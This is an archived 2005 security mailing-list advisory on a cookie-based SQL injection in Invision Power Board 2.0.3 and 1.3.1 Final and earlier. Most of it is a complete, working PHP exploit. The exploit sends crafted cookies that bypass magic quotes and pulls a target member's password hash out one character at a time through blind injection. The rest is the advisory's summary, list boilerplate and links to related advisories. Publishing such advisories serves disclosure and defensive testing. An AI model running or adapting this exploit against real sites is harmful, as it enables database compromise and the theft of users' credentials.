[EXPL] Invision Power Board SQL Injection (Cookie, Exploit 2)

From: SecuriTeam (support_at_securiteam.com)
Date: 06/12/05

  • Next message: SecuriTeam: "[TOOL] Anonycat - Anonymous Surfing" 
    To: list@securiteam.com
Date: 12 Jun 2005 12:07:39 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Invision Power Board SQL Injection (Cookie, Exploit 2)
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.invisionboard.com/> Invision Power Board is "a PHP and mySQL
    based forum system".

    Invision Power Board is vulnerable to an SQL Injection vulnerability in
    the way it handles cookies, exploiting this vulnerability allows malicious
    attacker to endanger database's integrity, the following exploit code can
    be used to test your system for the mentioned vulnerability.

    DETAILS

    Vulnerable Systems:
     * Invision Power Board versions 2.0.0 to 2.0.3
     * Invision Power Board versions 1.3.1 Final and prior

    <?php
    /*
    <= 2.0.3
    <= 1.3.1 Final
    /str0ke
    */

    $server = "SERVER";
    $port = 80;
    $file = "PATH";

    $target = 81;

    /* User id and password used to fake-logon are not important. '10' is a
    random number. */
    $id = 10;
    $pass = "";

    $hex = "0123456789abcdef";
    for($i = 1; $i <= 32; $i++ ) {
      $idx = 0;
      $found = false;

      while( !($found) ) {
        $letter = substr($hex, $idx, 1);
      
        /* %2527 translates to %27, which gets past magic quotes.This is
    translated to ' by urldecode. */
        $cookie ="member_id=$id;pass_hash=$pass%2527%20OR%20id=$target";
        $cookie .="%20HAVING%20id=$target%20AND%20MID(`password`,$i,1)=%2527"
     $letter;
      
        /* Query is in effect: SELECT * FROM ibf_members
            WHERE id=$id AND password='$pass' ORid=$target
            HAVING id=$target AND MID(`password`,$i,1)='$letter' */
      
        $header = getHeader($server, $port, $file .
    "index.php?act=Login&CODE=autologin", $cookie);
        if( !preg_match('/Location:(.*)act\=Login\&CODE\=00\r\n/', $header) )
    {
          echo $i . ": " . $letter . "\n";
          $found = true;
      
          $hash .= $letter;
        } else {
          $idx++;
        }
      }
    }

    echo "\n\nFinal Hash: $hash\n";

    function getHeader($server, $port, $file, $cookie) {
      $ip = gethostbyname($server);
      $fp = fsockopen($ip, $port);

      if (!$fp) {
          return "Unknown";
      } else {
        $com = "HEAD $file HTTP/1.1\r\n";
        $com .= "Host: $server:$port\r\n";
        $com .= "Cookie: $cookie\r\n";
        $com .= "Connection: close\r\n";
        $com .= "\r\n";

        fputs($fp, $com);

        do {
            $header.= fread($fp, 512);
        } while( !preg_match('/\r\n\r\n$/',$header) );
      }

      return $header;
    }
    ?>

    ADDITIONAL INFORMATION

    The original article can be found at:
    <http://www.milw0rm.com/id.php?id=1036>
    http://www.milw0rm.com/id.php?id=1036

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[TOOL] Anonycat - Anonymous Surfing"

    Relevant Pages

    • [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... buffer overflow vulnerability in VSAPI library allows arbitrary code ... is called "vscan" which is set suid root by default. ... permissions and thus granted all local users the privilege to execute the ...
      (Securiteam)
    • [UNIX] SCO Multiple Local Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Local exploitation of a buffer overflow vulnerability in the ppp binary, ... allows attackers to gain root privileges. ...
      (Securiteam)
    • [NT] Microsoft Word 6.0/95 Document Converter Buffer Overflow (MS04-041)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... WordPad is "a word processing application that uses the MFC rich edit ... Remote exploitation of a buffer overflow vulnerability in Microsoft ... Microsoft Word format files into the Rich Text Format natively handled by ...
      (Securiteam)
    • [UNIX] Tikiwiki Command Injection and Arbitrary File Exposure Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Two security vulnerabilities have been recently discovered in Tikiwiki, ... Remote exploitation of an input validation vulnerability in Tikiwiki ... allows attackers to gain access to arbitrary files on the vulnerable ...
      (Securiteam)
    • [NT] Ipswitch Multiple Vulnerabilities (IMail IMAP LIST Command DoS, Collaboration Suite SMTP Format
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Ipswitch Multiple Vulnerabilities (IMail IMAP LIST Command DoS, ... Collaboration Suite SMTP Format String) ... Remote exploitation of a denial of service vulnerability in Ipswitch ...
      (Securiteam)